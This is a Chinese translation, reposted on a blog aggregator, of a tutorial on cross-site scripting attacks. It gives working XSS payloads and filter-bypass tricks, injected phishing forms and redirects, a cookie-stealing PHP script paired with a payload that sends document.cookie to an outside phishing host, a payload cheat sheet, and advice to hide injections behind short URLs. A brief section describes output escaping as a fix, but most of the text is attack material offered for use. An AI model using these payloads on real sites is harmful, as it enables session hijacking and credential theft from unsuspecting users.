码迷,mamicode.com
首页 > 其他好文 > 详细

【翻译】高级XSS技术

时间:2015-09-20 07:05:38      阅读:258      评论:0      收藏:0      [点我收藏+]

标签:

原文地址:https://www.exploit-db.com/papers/13646/

翻译:ezreal,转载请注明出处

时间:2015年9月20日

一、引言

读者你好,这篇文章总结了我所知道的所有关于 XSS 的相关知识。写作的目的是分享,你可以发布,转载这篇文章,但请保留作者信息。

二、XSS 是什么?

XSS 是 "Cross Site Scripting" 的缩写,从名字可以看出,它与脚本有关,更准确的说是Javascript。它与在网站上注入Javascript命令或脚本有关。XSS 缺陷是网站未对攻击都输入的数据做校验导致的,换句话说,攻击者可以在网站注入恶意脚本,而浏览器将会执行它。

有3种类型的 XSS,我将要讲的是其中最常见的2种:

反射型XSS:

攻击者在搜索框、urls尾部等注入恶意脚本,称为反射型XSS。这相当于向墙上扔一个球,弹回时接住它。

存储型XSS:

注入的XSS脚本永久的存在网站上,比如在留言板里。存储型XSS会危害所有访问这段代码的人。

基于DOM的XSS:

这种不是很常见,可能我需要写另一篇文章来说明基于DOM的XSS。

三、如何执行 XSS 命令

事实上,插入一条XSS非常容易。为了检查目标网站是否存在漏洞,只需查看搜索框等位置,我们通过下面简单的例子来说明这个问题:

index.html

<html>
 <head>
 <title>Google</title>
 </head>
  <body>
 
   <form method="get" action="search.php">
   Google: 
   <input type="text" name="search" size="20" />
   <input type="submit" class="button" value="Submit" />
   </form>
 
 </body>
</html>

search.php

<?php echo $_GET[‘search‘]; ?>

这篇文章剩余部分,也将使用这个脚本作为例子。

我们假设这个文件在网络空间中,当输入:

    123

将会访问下面的网址:

    http://site.ru/search.php?search=123

并且显示:

    123

但现在,我们尝试输入下面的简单脚本:

    <script>alert("turtles");</script>

并且提交,你可以将turtles替换成你自己的单词,甚至使用‘‘代替"",例如:

   <script>alert(‘1234‘);</script>

除了执行语句,我们还可以注入像html标签等内容:

    <h1><font color="#00FF00">I like turtles</font></h1>

当然也可以将代码附加到url后面执行:

    http://site.ru/search.php?search=<script>alert(‘turtles‘);</script>

或者:

    www.site.ru/search.php?search=<h1><font color="#00FF00">I like turtles</font></h1>

这看起来是攻击者可以决定网站的内容一样。

但是即使上面的失败了,也不必担心,这说明网站使用了过滤技术来防御XSS攻击。但也有办法来绕过这些过滤。下面的章节将介绍它如何工作。

四、绕过技术

有很多技术可以绕过网站的XSS过滤,下面列出一些:

  • magic_quotes_gpc=ON 绕过

  • HEX 转码

  • 混淆

  • 不断尝试

  1. magic_quotes_gpc=ON 是一项php配置(php.ini)

    它使每个‘(单引号)、"(双引号)和 \ (反斜线 )都自动用 / 来代替。尽管仍可以被利用,但这是一种比较有名的抵御XSS的方法

    当为ON的时候如何绕过呢? - 使用名字为String.fromCharCode()的Javascript函数,将你的文本转换为十六进制。

    "turtles"将被转换成下面形式:

    String.fromCharCode(116, 117, 114, 116, 108, 101, 115)

    接下来将它插入到你的alert脚本中:

    www.site.ru/google.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>

  2. Hex转码是一种有效的绕过方法,由于会将你的脚本进行转码,所以第一眼很难看出脚本功能。

    下面是做法:

    <script>alert(/turtles/);</script>

    转换为十六进制编码后,显示成这样:

    www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E

  3. 混淆 - 有时网站管理员会将script、alert()、"‘‘"这些直接放入黑名单,这意味着你在网站搜索"script"只会返回一个错误,看起就像“你不能搜索这个单词”,但这是一种弱保护,可以通过混淆来绕过。

    你的Javascript代码像这样:

    <sCrIpT>alert(‘turtles‘);</ScRiPt>

    有许多无限的可能,但这将带领我们进入下一章节。

  4. 不断尝试:有些时候你需要不断尝试,因为每个网站安全措施都不一样,比如有的甚至不用Cookies。一定要看网站源码,有时你需要像下面这样来修正你的脚本:

    "><script>alert(/turtles/);</script>

    当你在搜索框注入你的代码,截断了html的标签时,这是需要的。你首先需要关闭它,并开启一个新的标签(<script>)

    总而言之,有很多方法来绕过XSS过滤。

    记住:不断尝试!

五、XSS 可以做什么?

到目前为止,我只告诉你如何在网站上生成一个Javascript的alert消息。但现在开始,我将向你介绍XSS对网站的危害,下面是你可以利用XSS漏洞,进行的一些攻击技术:

  • 插入钓鱼脚本

  • Iframe 钓鱼

  • 重定向钓鱼

  • Cookie 窃取

  1. 插入钓鱼脚本:只是向目标网站插入一个"username"和"password"区,受害者可能认为这个网站需要登录。

    下面是一个例子:

    www.site.ru/serach.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
      <div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.ru/phishingscript.php">
      Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br />
      <input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
      <br /></form></div></body></html>

    phishingscript.php的内容:

    <?php
    $login = $_POST[‘user‘];
    $password = $_POST[‘Password‘];
    $open = fopen(‘log.txt‘, ‘a+‘);
    fputs($open, ‘Username : ‘ . $login . ‘<br >‘ . ‘
    Password : ‘ . $password . ‘<br >‘ . ‘<br >‘);
    ?>

  2. Iframe 钓鱼:很简单,只需在目标网站中嵌入一个iframe,显然,它只要长的跟目标网站差不多就行。

    下面是一个例子:

    www.site.ru/search.php?search=<iframe src="http://www.yourphishingsite.ru" height="100%" width="100%"></iframe>

    目标网站将会在iframe中产生一个钓鱼网页,网站用户发现不了区别并进行登录。

  3. 重定向钓鱼:也比较简单,只要注入一段重定向代码,导向你的钓鱼网站,当然钓鱼网站做的要像目标网站。

    下面是一个例子:

     www.site.ru/search.php?search=<script>document.location.href="http://www.yourphishingsite.ru"</script>

    或者:

    www.site.ru/google.php?search=<META HTTP-EQUIV="refresh" CONTENT="0; URL="http://www.yorphishingsite.ru">

  4. Cookie 窃取:XSS缺陷一个可怕的事情就是Cookies窃取攻击,这种方法中,你需要做的是:

    将cookiestealers.php放到你的服务器,接着在目标网站注入一段嵌入了Cookie Stealer脚本的代码。

    cookiestealer.php的内容如下:

    <?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $file = fopen(‘log.txt‘, ‘a‘);
    fwrite($file, $cookie . "nn");
    fclose($file);
    ?>

    将它跟一个log.txt的日志文件,一起上传到你的网站空间,放到同一目录,并设置"0777"权限

    在目标网站注入下面代码:

    http://www.site.ru/search.php?search=<script>location.href = ‘http://phishingsite.ru/cookiestealer.php?cookie=‘+document.cookie;</script>

    接下来,当受害者访问这个页面,他的cookie将会出现在log.txt里面。现在你只需要使用这个cookie就可以了。

    当然你需要将http://phishingsite.ru替换成你的钓鱼网站url

六、如何修复 XSS 缺陷

XSS对你的网站非常危险,尽管你可以简单使用下面函数来加固你的站点:

##########################################################
#                                                        #
# htmlspecialchars()                                     #
# http://php.net/manual/de/function.htmlspecialchars.php #
#                                                        #
##########################################################

用法:

<?php echo htmlspecialchars($_GET[‘search‘]); ?>

或者

##########################################################
#                                                        #
# htmlentities()                                         #
# http://php.net/manual/de/function.htmlentities.php     #
#                                                        #
##########################################################

用法:

<?php echo htmlentities($_GET[‘search‘]); ?>

例如当我输入:

<script>alert("turtles");</script>

显示的是

<script>alert("turtles");</script>

没有任何弹窗,因为<,>,‘,"都被做了转换。

用户的输入变成了无害的、不可执行的html代码

七、备忘

这里是一些XSS代码的备忘,大多数来自于 http://ha.ckers.org/xss.html. 希望你喜欢。

‘‘;!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert(‘XSS‘);">
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, ‘XSS‘")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC="jav    ascript:alert(‘XSS‘);">
<IMG SRC="jav ascript:alert(‘XSS‘);">
<IMG SRC="jav
ascript:alert(‘XSS‘);">

小提示,使用短网址来"隐藏"你的注入,让用户不知道url背后是什么

【翻译】高级XSS技术

标签:

原文地址:http://my.oschina.net/cve2015/blog/508640

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!